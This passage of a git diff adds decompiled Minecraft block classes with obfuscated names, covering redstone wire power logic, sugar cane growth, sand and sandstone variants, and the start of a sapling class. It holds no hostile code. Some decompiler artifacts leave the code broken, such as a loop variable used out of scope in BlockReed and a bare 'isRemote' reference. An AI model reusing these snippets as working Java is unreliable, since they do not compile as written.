+    setDefaultState(blockState.getBaseState().withProperty(NORTH, EnumAttachPosition.NONE).withProperty(EAST, EnumAttachPosition.NONE).withProperty(SOUTH, EnumAttachPosition.NONE).withProperty(WEST, EnumAttachPosition.NONE).withProperty(POWER, Integer.valueOf(0)));
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.0625F, 1.0F);
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    state = state.withProperty(WEST, getAttachPosition(worldIn, pos, EnumFacing.WEST));
+    state = state.withProperty(EAST, getAttachPosition(worldIn, pos, EnumFacing.EAST));
+    state = state.withProperty(NORTH, getAttachPosition(worldIn, pos, EnumFacing.NORTH));
+    state = state.withProperty(SOUTH, getAttachPosition(worldIn, pos, EnumFacing.SOUTH));
+    return state;
+  }
+  
+  private EnumAttachPosition getAttachPosition(IBlockAccess p_176341_1_, BlockPos p_176341_2_, EnumFacing p_176341_3_)
+  {
+    BlockPos var4 = p_176341_2_.offset(p_176341_3_);
+    Block var5 = p_176341_1_.getBlockState(p_176341_2_.offset(p_176341_3_)).getBlock();
+    
+    if ((!func_176343_a(p_176341_1_.getBlockState(var4), p_176341_3_)) && ((var5.isSolidFullCube()) || (!func_176346_d(p_176341_1_.getBlockState(var4.offsetDown())))))
+    {
+      Block var6 = p_176341_1_.getBlockState(p_176341_2_.offsetUp()).getBlock();
+      return (!var6.isSolidFullCube()) && (var5.isSolidFullCube()) && (func_176346_d(p_176341_1_.getBlockState(var4.offsetUp()))) ? EnumAttachPosition.UP : EnumAttachPosition.NONE;
+    }
+    
+
+    return EnumAttachPosition.SIDE;
+  }
+  
+
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    IBlockState var4 = worldIn.getBlockState(pos);
+    return var4.getBlock() != this ? super.colorMultiplier(worldIn, pos, renderPass) : func_176337_b(((Integer)var4.getValue(POWER)).intValue());
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (World.doesBlockHaveSolidTopSurface(worldIn, pos.offsetDown())) || (worldIn.getBlockState(pos.offsetDown()).getBlock() == Blocks.glowstone);
+  }
+  
+  private IBlockState updateSurroundingRedstone(World worldIn, BlockPos p_176338_2_, IBlockState p_176338_3_)
+  {
+    p_176338_3_ = func_176345_a(worldIn, p_176338_2_, p_176338_2_, p_176338_3_);
+    ArrayList var4 = com.google.common.collect.Lists.newArrayList(field_150179_b);
+    field_150179_b.clear();
+    Iterator var5 = var4.iterator();
+    
+    while (var5.hasNext())
+    {
+      BlockPos var6 = (BlockPos)var5.next();
+      worldIn.notifyNeighborsOfStateChange(var6, this);
+    }
+    
+    return p_176338_3_;
+  }
+  
+  private IBlockState func_176345_a(World worldIn, BlockPos p_176345_2_, BlockPos p_176345_3_, IBlockState p_176345_4_)
+  {
+    IBlockState var5 = p_176345_4_;
+    int var6 = ((Integer)p_176345_4_.getValue(POWER)).intValue();
+    byte var7 = 0;
+    int var14 = func_176342_a(worldIn, p_176345_3_, var7);
+    canProvidePower = false;
+    int var8 = worldIn.func_175687_A(p_176345_2_);
+    canProvidePower = true;
+    
+    if ((var8 > 0) && (var8 > var14 - 1))
+    {
+      var14 = var8;
+    }
+    
+    int var9 = 0;
+    Iterator var10 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var10.hasNext())
+    {
+      EnumFacing var11 = (EnumFacing)var10.next();
+      BlockPos var12 = p_176345_2_.offset(var11);
+      boolean var13 = (var12.getX() != p_176345_3_.getX()) || (var12.getZ() != p_176345_3_.getZ());
+      
+      if (var13)
+      {
+        var9 = func_176342_a(worldIn, var12, var9);
+      }
+      
+      if ((worldIn.getBlockState(var12).getBlock().isNormalCube()) && (!worldIn.getBlockState(p_176345_2_.offsetUp()).getBlock().isNormalCube()))
+      {
+        if ((var13) && (p_176345_2_.getY() >= p_176345_3_.getY()))
+        {
+          var9 = func_176342_a(worldIn, var12.offsetUp(), var9);
+        }
+      }
+      else if ((!worldIn.getBlockState(var12).getBlock().isNormalCube()) && (var13) && (p_176345_2_.getY() <= p_176345_3_.getY()))
+      {
+        var9 = func_176342_a(worldIn, var12.offsetDown(), var9);
+      }
+    }
+    
+    if (var9 > var14)
+    {
+      var14 = var9 - 1;
+    }
+    else if (var14 > 0)
+    {
+      var14--;
+    }
+    else
+    {
+      var14 = 0;
+    }
+    
+    if (var8 > var14 - 1)
+    {
+      var14 = var8;
+    }
+    
+    if (var6 != var14)
+    {
+      p_176345_4_ = p_176345_4_.withProperty(POWER, Integer.valueOf(var14));
+      
+      if (worldIn.getBlockState(p_176345_2_) == var5)
+      {
+        worldIn.setBlockState(p_176345_2_, p_176345_4_, 2);
+      }
+      
+      field_150179_b.add(p_176345_2_);
+      EnumFacing[] var15 = EnumFacing.values();
+      int var16 = var15.length;
+      
+      for (int var17 = 0; var17 < var16; var17++)
+      {
+        EnumFacing var18 = var15[var17];
+        field_150179_b.add(p_176345_2_.offset(var18));
+      }
+    }
+    
+    return p_176345_4_;
+  }
+  
+  private void func_176344_d(World worldIn, BlockPos p_176344_2_)
+  {
+    if (worldIn.getBlockState(p_176344_2_).getBlock() == this)
+    {
+      worldIn.notifyNeighborsOfStateChange(p_176344_2_, this);
+      EnumFacing[] var3 = EnumFacing.values();
+      int var4 = var3.length;
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        EnumFacing var6 = var3[var5];
+        worldIn.notifyNeighborsOfStateChange(p_176344_2_.offset(var6), this);
+      }
+    }
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    if (!isRemote)
+    {
+      updateSurroundingRedstone(worldIn, pos, state);
+      Iterator var4 = EnumFacing.Plane.VERTICAL.iterator();
+      
+
+      while (var4.hasNext())
+      {
+        EnumFacing var5 = (EnumFacing)var4.next();
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var5), this);
+      }
+      
+      var4 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var4.hasNext())
+      {
+        EnumFacing var5 = (EnumFacing)var4.next();
+        func_176344_d(worldIn, pos.offset(var5));
+      }
+      
+      var4 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var4.hasNext())
+      {
+        EnumFacing var5 = (EnumFacing)var4.next();
+        BlockPos var6 = pos.offset(var5);
+        
+        if (worldIn.getBlockState(var6).getBlock().isNormalCube())
+        {
+          func_176344_d(worldIn, var6.offsetUp());
+        }
+        else
+        {
+          func_176344_d(worldIn, var6.offsetDown());
+        }
+      }
+    }
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    super.breakBlock(worldIn, pos, state);
+    
+    if (!isRemote)
+    {
+      EnumFacing[] var4 = EnumFacing.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        EnumFacing var7 = var4[var6];
+        worldIn.notifyNeighborsOfStateChange(pos.offset(var7), this);
+      }
+      
+      updateSurroundingRedstone(worldIn, pos, state);
+      Iterator var8 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+
+      while (var8.hasNext())
+      {
+        EnumFacing var9 = (EnumFacing)var8.next();
+        func_176344_d(worldIn, pos.offset(var9));
+      }
+      
+      var8 = EnumFacing.Plane.HORIZONTAL.iterator();
+      
+      while (var8.hasNext())
+      {
+        EnumFacing var9 = (EnumFacing)var8.next();
+        BlockPos var10 = pos.offset(var9);
+        
+        if (worldIn.getBlockState(var10).getBlock().isNormalCube())
+        {
+          func_176344_d(worldIn, var10.offsetUp());
+        }
+        else
+        {
+          func_176344_d(worldIn, var10.offsetDown());
+        }
+      }
+    }
+  }
+  
+  private int func_176342_a(World worldIn, BlockPos p_176342_2_, int p_176342_3_)
+  {
+    if (worldIn.getBlockState(p_176342_2_).getBlock() != this)
+    {
+      return p_176342_3_;
+    }
+    
+
+    int var4 = ((Integer)worldIn.getBlockState(p_176342_2_).getValue(POWER)).intValue();
+    return var4 > p_176342_3_ ? var4 : p_176342_3_;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!isRemote)
+    {
+      if (canPlaceBlockAt(worldIn, pos))
+      {
+        updateSurroundingRedstone(worldIn, pos, state);
+      }
+      else
+      {
+        dropBlockAsItem(worldIn, pos, state, 0);
+        worldIn.setBlockToAir(pos);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.redstone;
+  }
+  
+  public int isProvidingStrongPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    return !canProvidePower ? 0 : isProvidingWeakPower(worldIn, pos, state, side);
+  }
+  
+  public int isProvidingWeakPower(IBlockAccess worldIn, BlockPos pos, IBlockState state, EnumFacing side)
+  {
+    if (!canProvidePower)
+    {
+      return 0;
+    }
+    
+
+    int var5 = ((Integer)state.getValue(POWER)).intValue();
+    
+    if (var5 == 0)
+    {
+      return 0;
+    }
+    if (side == EnumFacing.UP)
+    {
+      return var5;
+    }
+    
+
+    EnumSet var6 = EnumSet.noneOf(EnumFacing.class);
+    Iterator var7 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var7.hasNext())
+    {
+      EnumFacing var8 = (EnumFacing)var7.next();
+      
+      if (func_176339_d(worldIn, pos, var8))
+      {
+        var6.add(var8);
+      }
+    }
+    
+    if ((side.getAxis().isHorizontal()) && (var6.isEmpty()))
+    {
+      return var5;
+    }
+    if ((var6.contains(side)) && (!var6.contains(side.rotateYCCW())) && (!var6.contains(side.rotateY())))
+    {
+      return var5;
+    }
+    
+
+    return 0;
+  }
+  
+
+
+
+  private boolean func_176339_d(IBlockAccess p_176339_1_, BlockPos p_176339_2_, EnumFacing p_176339_3_)
+  {
+    BlockPos var4 = p_176339_2_.offset(p_176339_3_);
+    IBlockState var5 = p_176339_1_.getBlockState(var4);
+    Block var6 = var5.getBlock();
+    boolean var7 = var6.isNormalCube();
+    boolean var8 = p_176339_1_.getBlockState(p_176339_2_.offsetUp()).getBlock().isNormalCube();
+    return (!var8) && (var7) && (func_176340_e(p_176339_1_, var4.offsetUp()));
+  }
+  
+  protected static boolean func_176340_e(IBlockAccess p_176340_0_, BlockPos p_176340_1_)
+  {
+    return func_176346_d(p_176340_0_.getBlockState(p_176340_1_));
+  }
+  
+  protected static boolean func_176346_d(IBlockState p_176346_0_)
+  {
+    return func_176343_a(p_176346_0_, null);
+  }
+  
+  protected static boolean func_176343_a(IBlockState p_176343_0_, EnumFacing p_176343_1_)
+  {
+    Block var2 = p_176343_0_.getBlock();
+    
+    if (var2 == Blocks.redstone_wire)
+    {
+      return true;
+    }
+    if (Blocks.unpowered_repeater.func_149907_e(var2))
+    {
+      EnumFacing var3 = (EnumFacing)p_176343_0_.getValue(BlockRedstoneRepeater.AGE);
+      return (var3 == p_176343_1_) || (var3.getOpposite() == p_176343_1_);
+    }
+    
+
+    return (var2.canProvidePower()) && (p_176343_1_ != null);
+  }
+  
+
+
+
+
+  public boolean canProvidePower()
+  {
+    return canProvidePower;
+  }
+  
+  private int func_176337_b(int p_176337_1_)
+  {
+    float var2 = p_176337_1_ / 15.0F;
+    float var3 = var2 * 0.6F + 0.4F;
+    
+    if (p_176337_1_ == 0)
+    {
+      var3 = 0.3F;
+    }
+    
+    float var4 = var2 * var2 * 0.7F - 0.5F;
+    float var5 = var2 * var2 * 0.6F - 0.7F;
+    
+    if (var4 < 0.0F)
+    {
+      var4 = 0.0F;
+    }
+    
+    if (var5 < 0.0F)
+    {
+      var5 = 0.0F;
+    }
+    
+    int var6 = MathHelper.clamp_int((int)(var3 * 255.0F), 0, 255);
+    int var7 = MathHelper.clamp_int((int)(var4 * 255.0F), 0, 255);
+    int var8 = MathHelper.clamp_int((int)(var5 * 255.0F), 0, 255);
+    return 0xFF000000 | var6 << 16 | var7 << 8 | var8;
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    int var5 = ((Integer)state.getValue(POWER)).intValue();
+    
+    if (var5 != 0)
+    {
+      double var6 = pos.getX() + 0.5D + (rand.nextFloat() - 0.5D) * 0.2D;
+      double var8 = pos.getY() + 0.0625F;
+      double var10 = pos.getZ() + 0.5D + (rand.nextFloat() - 0.5D) * 0.2D;
+      float var12 = var5 / 15.0F;
+      float var13 = var12 * 0.6F + 0.4F;
+      float var14 = Math.max(0.0F, var12 * var12 * 0.7F - 0.5F);
+      float var15 = Math.max(0.0F, var12 * var12 * 0.6F - 0.7F);
+      worldIn.spawnParticle(EnumParticleTypes.REDSTONE, var6, var8, var10, var13, var14, var15, new int[0]);
+    }
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.redstone;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(POWER, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(POWER)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { NORTH, EAST, SOUTH, WEST, POWER });
+  }
+  
+  static enum EnumAttachPosition implements IStringSerializable
+  {
+    UP("UP", 0, "up"), 
+    SIDE("SIDE", 1, "side"), 
+    NONE("NONE", 2, "none");
+    
+    private final String field_176820_d;
+    private static final EnumAttachPosition[] $VALUES = { UP, SIDE, NONE };
+    private static final String __OBFID = "CL_00002070";
+    
+    private EnumAttachPosition(String p_i45689_1_, int p_i45689_2_, String p_i45689_3_)
+    {
+      field_176820_d = p_i45689_3_;
+    }
+    
+    public String toString()
+    {
+      return getName();
+    }
+    
+    public String getName()
+    {
+      return field_176820_d;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockReed.java b/src/minecraft/net/minecraft/block/BlockReed.java
new file mode 100644
index 0000000..6f63dfa
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockReed.java
@@ -0,0 +1,181 @@
+package net.minecraft.block;
+
+import java.util.Iterator;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class BlockReed extends Block
+{
+  public static final PropertyInteger field_176355_a = PropertyInteger.create("age", 0, 15);
+  private static final String __OBFID = "CL_00000300";
+  
+  protected BlockReed()
+  {
+    super(Material.plants);
+    setDefaultState(blockState.getBaseState().withProperty(field_176355_a, Integer.valueOf(0)));
+    float var1 = 0.375F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, 1.0F, 0.5F + var1);
+    setTickRandomly(true);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if ((worldIn.getBlockState(pos.offsetDown()).getBlock() == Blocks.reeds) || (func_176353_e(worldIn, pos, state)))
+    {
+      if (worldIn.isAirBlock(pos.offsetUp()))
+      {
+
+
+        for (int var5 = 1; worldIn.getBlockState(pos.offsetDown(var5)).getBlock() == this; var5++) {}
+        
+
+
+
+        if (var5 < 3)
+        {
+          int var6 = ((Integer)state.getValue(field_176355_a)).intValue();
+          
+          if (var6 == 15)
+          {
+            worldIn.setBlockState(pos.offsetUp(), getDefaultState());
+            worldIn.setBlockState(pos, state.withProperty(field_176355_a, Integer.valueOf(0)), 4);
+          }
+          else
+          {
+            worldIn.setBlockState(pos, state.withProperty(field_176355_a, Integer.valueOf(var6 + 1)), 4);
+          }
+        }
+      }
+    }
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    Block var3 = worldIn.getBlockState(pos.offsetDown()).getBlock();
+    
+    if (var3 == this)
+    {
+      return true;
+    }
+    if ((var3 != Blocks.grass) && (var3 != Blocks.dirt) && (var3 != Blocks.sand))
+    {
+      return false;
+    }
+    
+
+    Iterator var4 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    EnumFacing var5;
+    do
+    {
+      if (!var4.hasNext())
+      {
+        return false;
+      }
+      
+      var5 = (EnumFacing)var4.next();
+    }
+    while (worldIn.getBlockState(pos.offset(var5).offsetDown()).getBlock().getMaterial() != Material.water);
+    
+    return true;
+  }
+  
+
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    func_176353_e(worldIn, pos, state);
+  }
+  
+  protected final boolean func_176353_e(World worldIn, BlockPos p_176353_2_, IBlockState p_176353_3_)
+  {
+    if (func_176354_d(worldIn, p_176353_2_))
+    {
+      return true;
+    }
+    
+
+    dropBlockAsItem(worldIn, p_176353_2_, p_176353_3_, 0);
+    worldIn.setBlockToAir(p_176353_2_);
+    return false;
+  }
+  
+
+  public boolean func_176354_d(World worldIn, BlockPos p_176354_2_)
+  {
+    return canPlaceBlockAt(worldIn, p_176354_2_);
+  }
+  
+  public net.minecraft.util.AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.reeds;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Items.reeds;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return worldIn.getBiomeGenForCoords(pos).func_180627_b(pos);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176355_a, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(field_176355_a)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176355_a });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockRotatedPillar.java b/src/minecraft/net/minecraft/block/BlockRotatedPillar.java
new file mode 100644
index 0000000..08b0e87
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockRotatedPillar.java
@@ -0,0 +1,16 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.util.EnumFacing.Axis;
+
+public abstract class BlockRotatedPillar extends Block
+{
+  public static final PropertyEnum field_176298_M = PropertyEnum.create("axis", EnumFacing.Axis.class);
+  private static final String __OBFID = "CL_00000302";
+  
+  protected BlockRotatedPillar(Material p_i45425_1_)
+  {
+    super(p_i45425_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSand.java b/src/minecraft/net/minecraft/block/BlockSand.java
new file mode 100644
index 0000000..3bf41d9
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSand.java
@@ -0,0 +1,197 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.MapColor;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockSand extends BlockFalling
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000303";
+  
+  public BlockSand()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumType.SAND));
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176688_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176688_a()));
+    }
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176687_c();
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(VARIANT_PROP, EnumType.func_176686_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(VARIANT_PROP)).func_176688_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { VARIANT_PROP });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    SAND("SAND", 0, 0, "sand", "default", MapColor.sandColor), 
+    RED_SAND("RED_SAND", 1, 1, "red_sand", "red", MapColor.dirtColor);
+    
+    private static final EnumType[] field_176695_c;
+    private final int field_176692_d;
+    private final String field_176693_e;
+    private final MapColor field_176690_f;
+    private final String field_176691_g;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002069";
+    
+    private EnumType(String p_i45687_1_, int p_i45687_2_, int p_i45687_3_, String p_i45687_4_, String p_i45687_5_, MapColor p_i45687_6_)
+    {
+      field_176692_d = p_i45687_3_;
+      field_176693_e = p_i45687_4_;
+      field_176690_f = p_i45687_6_;
+      field_176691_g = p_i45687_5_;
+    }
+    
+    public int func_176688_a()
+    {
+      return field_176692_d;
+    }
+    
+    public String toString()
+    {
+      return field_176693_e;
+    }
+    
+    public MapColor func_176687_c()
+    {
+      return field_176690_f;
+    }
+    
+    public static EnumType func_176686_a(int p_176686_0_)
+    {
+      if ((p_176686_0_ < 0) || (p_176686_0_ >= field_176695_c.length))
+      {
+        p_176686_0_ = 0;
+      }
+      
+      return field_176695_c[p_176686_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176693_e;
+    }
+    
+    public String func_176685_d()
+    {
+      return field_176691_g;
+    }
+    
+    static
+    {
+      field_176695_c = new EnumType[values().length];
+      
+
+
+
+
+      $VALUES = new EnumType[] { SAND, RED_SAND };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176695_c[var3.func_176688_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSandStone.java b/src/minecraft/net/minecraft/block/BlockSandStone.java
new file mode 100644
index 0000000..76197a9
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSandStone.java
@@ -0,0 +1,178 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.IStringSerializable;
+
+public class BlockSandStone extends Block
+{
+  public static final PropertyEnum field_176297_a = PropertyEnum.create("type", EnumType.class);
+  private static final String __OBFID = "CL_00000304";
+  
+  public BlockSandStone()
+  {
+    super(Material.rock);
+    setDefaultState(blockState.getBaseState().withProperty(field_176297_a, EnumType.DEFAULT));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176297_a)).func_176675_a();
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176675_a()));
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176297_a, EnumType.func_176673_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176297_a)).func_176675_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176297_a });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    DEFAULT("DEFAULT", 0, 0, "sandstone", "default"), 
+    CHISELED("CHISELED", 1, 1, "chiseled_sandstone", "chiseled"), 
+    SMOOTH("SMOOTH", 2, 2, "smooth_sandstone", "smooth");
+    
+    private static final EnumType[] field_176679_d;
+    private final int field_176680_e;
+    private final String field_176677_f;
+    private final String field_176678_g;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002068";
+    
+    private EnumType(String p_i45686_1_, int p_i45686_2_, int p_i45686_3_, String p_i45686_4_, String p_i45686_5_)
+    {
+      field_176680_e = p_i45686_3_;
+      field_176677_f = p_i45686_4_;
+      field_176678_g = p_i45686_5_;
+    }
+    
+    public int func_176675_a()
+    {
+      return field_176680_e;
+    }
+    
+    public String toString()
+    {
+      return field_176677_f;
+    }
+    
+    public static EnumType func_176673_a(int p_176673_0_)
+    {
+      if ((p_176673_0_ < 0) || (p_176673_0_ >= field_176679_d.length))
+      {
+        p_176673_0_ = 0;
+      }
+      
+      return field_176679_d[p_176673_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176677_f;
+    }
+    
+    public String func_176676_c()
+    {
+      return field_176678_g;
+    }
+    
+    static
+    {
+      field_176679_d = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { DEFAULT, CHISELED, SMOOTH };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176679_d[var3.func_176675_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockSapling.java b/src/minecraft/net/minecraft/block/BlockSapling.java
new file mode 100644
index 0000000..f7dbdde
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockSapling.java
@@ -0,0 +1,312 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenBigTree;
+import net.minecraft.world.gen.feature.WorldGenCanopyTree;
+import net.minecraft.world.gen.feature.WorldGenForest;
+import net.minecraft.world.gen.feature.WorldGenMegaJungle;
+import net.minecraft.world.gen.feature.WorldGenMegaPineTree;
+import net.minecraft.world.gen.feature.WorldGenSavannaTree;
+import net.minecraft.world.gen.feature.WorldGenTaiga2;
+import net.minecraft.world.gen.feature.WorldGenTrees;
+import net.minecraft.world.gen.feature.WorldGenerator;
+
+public class BlockSapling extends BlockBush implements IGrowable
+{
+  public static final PropertyEnum TYPE_PROP = PropertyEnum.create("type", BlockPlanks.EnumType.class);
+  public static final PropertyInteger STAGE_PROP = PropertyInteger.create("stage", 0, 1);
+  private static final String __OBFID = "CL_00000305";
+  
+  protected BlockSapling()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(TYPE_PROP, BlockPlanks.EnumType.OAK).withProperty(STAGE_PROP, Integer.valueOf(0)));
+    float var1 = 0.4F;
+    setBlockBounds(0.5F - var1, 0.0F, 0.5F - var1, 0.5F + var1, var1 * 2.0F, 0.5F + var1);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      super.updateTick(worldIn, pos, state, rand);
+      
+      if ((worldIn.getLightFromNeighbors(pos.offsetUp()) >= 9) && (rand.nextInt(7) == 0))
+      {
+        func_176478_d(worldIn, pos, state, rand);
+      }
+    }
+  }
+  
+  public void func_176478_d(World worldIn, BlockPos p_176478_2_, IBlockState p_176478_3_, Random p_176478_4_)
+  {
+    if (((Integer)p_176478_3_.getValue(STAGE_PROP)).intValue() == 0)
+    {
+      worldIn.setBlockState(p_176478_2_, p_176478_3_.cycleProperty(STAGE_PROP), 4);
+    }
+    else
+    {
